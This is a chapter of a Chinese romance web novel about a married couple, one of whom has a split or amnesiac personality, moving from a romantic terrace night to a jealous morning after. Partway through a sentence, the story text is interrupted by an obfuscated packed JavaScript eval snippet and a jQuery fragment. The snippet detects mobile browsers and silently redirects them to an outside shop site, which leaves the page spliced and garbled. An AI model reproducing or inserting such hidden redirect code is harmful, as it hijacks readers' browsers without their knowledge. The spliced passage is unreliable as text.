青年温热的唇瓣微微颤抖,像寻觅巢穴的小兽,带着本能的凶狠径直扑上来。贺朝觉心头一滞,仿佛被一汪温水包裹,僵硬地任由怀中爱人宣泄。
炽热的思念在唇间燃烧,贺朝觉垂眸看去,青年紧闭的双眼边缘沁出一滴泪。
他吻得很凶,很急,好像要将所有积攒的惊恐和忧虑一口气释放殆尽。
贺朝觉心头一阵酸软,忍不住按上裴澈的背细致回应,诱哄青年打开牙关,温柔地卷过他唇齿间残留的委屈与酸楚。
温存到一半,他蓦地被推开,裴澈紧紧攥着他的手臂,红通通的眼睛不敢置信地看向他:“朝觉?”
“是我。”
男人眉目坚韧俊逸,不厌其烦地回应着。
裴澈一把捧起他的脸左右看:“怎么这么突然,就和梦一样。”
“不是做梦。”
裴澈皱眉去摸他的后脑勺:“还疼不疼了?”
其实有一点,贺朝觉心虚地看向眼前的青年,而且他有预感自己现在这种状态不会持续太久。
“嗯?”
掌心疑问似地在脸上蹭了蹭,贺朝觉抓住青年的手腕,余光扫过桌上的炖牛肉,暗暗咬牙:“不疼。”
时间有限,不应该浪费在关心自己的身体上。
贺朝觉整整毯子,把裴澈裹得更严严实实,语气略带嫌弃:“露台太冷了,还是夏天合适。”
裴澈有点好笑,这话说的,就好像怪他自己似的,不过是脑子坏了版本。
“其实刚刚吃炖牛肉还好,樱桃酒也暖身。”
贺朝觉神色不变,“嗯”了一声,把裴澈往怀里带带,不让他看见桌子那边。
“不要,”青年笑盈盈退开,两手搭着他的手,“就想看着你。”
贺朝觉感觉脸有点热。就在这时,裴澈突然伸手拉住他的脸颊:“感觉今晚的樱桃酒炖牛肉做得不亏,是不是?”
裴澈最近很喜欢揉他……
男人怔怔垂眸,惹得裴澈更高兴了,眼睛亮晶晶凑上去亲昵地蹭蹭鼻尖:“吃到熟悉的味道,你就回来了。”
兀自出神的贺朝觉这才听见青年的声音,言语间的含义一进脑子,那个傻子的脑补突然鞭尸一样浮了出来,什么要用独家配方覆盖他的记忆,什么老婆只爱他的口味……
他身子一僵,觉得可以用脚趾开钻地机,抠到地下室去。
男人坚毅的脸上突然烧红,眼里写满社死,显然是猛地想起来这些天的相处。
裴澈挑眉,不介意再加一把火:“怎么,现在不想把离婚协议书挂——”
噌地一下,宽大的手掌捂住裴澈的嘴,贺朝觉背过头去,露出通红的耳朵。
他以前怎么没发现,贺朝觉这么好玩,裴澈眼里写满了狡黠的神采,忍不住想逗一下恢复之后还是很可爱的爱人。
掌心飞快闪过一抹湿润,贺朝觉见了鬼一样收回手,看了裴澈半晌,无奈道:“阿澈……”
“怎么,不喜欢?”裴澈唇角噙着笑意逼上来,“不喜欢也没办法,我只能对你强取豪夺了。”
贺朝觉:“!!!”
见男人整张脸都红透了,生怕一个不好再把人逗坏,裴澈连忙转移话题:“这个露台还是第一次用起来,晚上真好看。”
自从他回国,就一直忙着新片筹备的事,连回家都很晚,更别提一起在露台上吃烛光晚餐了。
裴澈带着歉意亲了男人侧脸一下:“以后我们经常上来吧,抱歉,我之前忙着工作,都没有好好陪你。”
要不是这样,可能他就不会在脑子里编排这么离谱的剧本了吧。
漫天的星辰下,裴澈眼里闪动着坚定的爱意和愧疚,贺朝觉吻吻爱人的眼角,想说不需要为自己愧疚,又被那层滚烫不加掩饰的爱意熨得心头发颤。
从亲手画下露台图纸的那天,他就暗暗梦想着这么一天。
现在,虽然被那个傻子破坏了气氛,贺朝觉紧张地眨眨眼,但他还有东西要给阿澈看。
“阿澈,”男人紧紧盯着裴澈,眸光闪烁着紧张,一边向后靠去,好像摸索着桌子边的开关,摁了一下,“这是我想送给你的东西。”
“咔叽”一声,等待的两人面面相觑,什么都没有发生。
什么?裴澈缓慢地眨了眨眼。
贺朝觉僵硬地环视一周,那些——
突然,露台周围的装饰性彩灯炸响起来,像是电路短路的声音,劈里啪啦蹿了一圈电火花。
贺朝觉猛地抬头看了一眼穹顶,心头一紧,整个人扑过去把裴澈牢牢护在身下。
一秒,两秒,三秒……
裴澈抬手戳贺朝觉的肩膀:“喘不过气了。”
贺朝觉:“……”
桌下的开关连接彩灯,还直接连通穹顶玻璃内置的显示屏,里面保存着他想对阿澈说的话。
那个傻子,贺朝觉眸色暗沉,磨了磨后槽牙,居然把他的电路给剪了!
幸好穹顶没掉下来。男人撑起身子,面色有些讪讪,关切的视线在青年身上流连:“没磕到头吧?”
裴澈摇摇头,目光忍不住停在男人身前。
休闲衬衫原本就轻薄地勾勒在他身上,经过这么一扑,胸前扣子掉了两粒,露出喉结和一小片结实的胸膛,下面的衬衫凌乱地皱作一团。
在他炽热的视线下,男人的喉结涩然滚动了一下。
裴澈将手指轻轻按上去:“没磕到头,不过有其他要紧的事。”
……
贺朝觉一边细细密密地吻着,一边将青年横置在床上,卧室和露台相连,隔着大落地窗可见漫天星斗。
裴澈眼尾泛红,沁着星星点点的水光,修长的手指紧紧和宽厚大掌相扣。
“宝宝,等会,”贺朝觉额头薄汗,起身抽开,“这里没有——”
裴澈拉开床头,手指轻勾,微微喘着拉下贺朝觉,耳语道:“我瞧见你除了主卧里都放了。”
贺朝觉:“……”
男人头皮砰地炸麻,狠狠扣住青年的手腕,吻了上去。
夜空静谧无声,星星眨了一夜的眼睛。
次日清晨。
贺朝觉猛地从床上坐起,面色黑沉,举起双手,看着自己手掌的神色恐怖得仿佛要吃人。
该死,那个意识居然还没有彻底死去!
他视线扫到一边的垃圾桶里,一,二,三,四,五……
眼底红意瞬间喷薄而出,那个禽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176937|146910||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
兽,自己小心翼翼呵护着的人,他怎么敢的!
“朝觉?”
一只光裸的手臂从身后搭上来,清冽的声音带着点鼻音:“怎么不再睡会?”
贺朝觉一僵,又瞬间放松,视线烫了一般从手臂上的痕迹移开,不动声色地取过被子将裴澈裹好。
“我去给你做早饭。”
青年懒洋洋地躺在那里,哼了一声,脸上自然地流出惬意的神情。
“对了,”他从被子下面伸出手,勾住要走的贺朝觉,声音里仿佛带着钩子,“之前不是觉得主卧住腻了,要不要干脆搬上来住,还可以方便看星星?”
什么?贺朝觉如遭雷击,缓缓转过视线,和眼含情意的裴澈对视一眼。
青年噌地坐了起来,被子从身上滑落:“贺朝觉?!”
裴澈捧着爱人的脸不敢置信地打量着,怎么昨夜还好好的人,今天又变回来了。
贺朝觉垂着眸任青年打量,感觉心脏一阵一阵地抽痛。
他从没想过会是这样。
一直相信裴澈是先喜欢上自己,才编造了那些虚假的记忆。怎么会,怎么会……
看现在裴澈的反应,分明是先对那个禽兽生了扭曲的感情!他甚至要为了他搬到楼上来住!
贺朝觉绝望地闭闭眼,抬眸和裴澈对视,生怕在其中看到失望和厌恶。
裴澈确实有点失望,但是脑子复坏的爱人可怜巴巴看着他,真是一点都不敢难受,连忙安抚地亲亲:“没事,一会再去医院复查一下,会好起来的。”
好起来,贺朝觉攥得掌心生疼,他怎么忘了,裴澈从来觉得他现在不正常,希望他“好起来”。
男人五官皱成一团,显得更难过了,裴澈吸取教训,立刻掐起脸凑上前去:“你又乱想什么了?”
贺朝觉哀哀怨怨:“你是不是更喜欢昨晚的……我,不喜欢现在的我?”
裴澈:“???”
连忙保证:“怎么会?你们就是同一个人,我都很喜欢的!”
贺朝觉瞬间如丧考妣,眼神里写满了哀痛纠结,更加萧瑟了。
裴澈:“……”
【以寒,我记得你以前玩过陶艺,T城圈子里各家的技艺你清楚吗?或者有没有懂行的推荐一下,我有个成品想问问。】
裴澈放下手机,和正好端着一碗粥放在他面前的贺朝觉对上一眼。
男人表情自艾哀恸。
裴澈缓缓低头,狠狠喝了一口海鲜粥。
要撬开他的心房,光靠自己是不行了,那对古怪的手作陶瓷马克杯是现在唯一的突破口。
“阿、阿澈,这个粥的味道怎么样?”
他第一次做,全新的配方,肯定可以吊打那个禽兽几条街。
贺朝觉略带期盼地看向裴澈。
青年品了一口:“唔,加了虾头鱼骨熬的高汤?”
贺朝觉一喜,他尝出来了?
裴澈:“果然和以前的味道分毫不差,我最喜欢喝你做的粥了!”
“……”
贺朝觉转身攥拳,面色黑沉。可恶,那个禽兽不知道在哪里学的自己独门配方,唯今之计,难道只有找出他切实的罪证,让阿澈认清楚他了吗?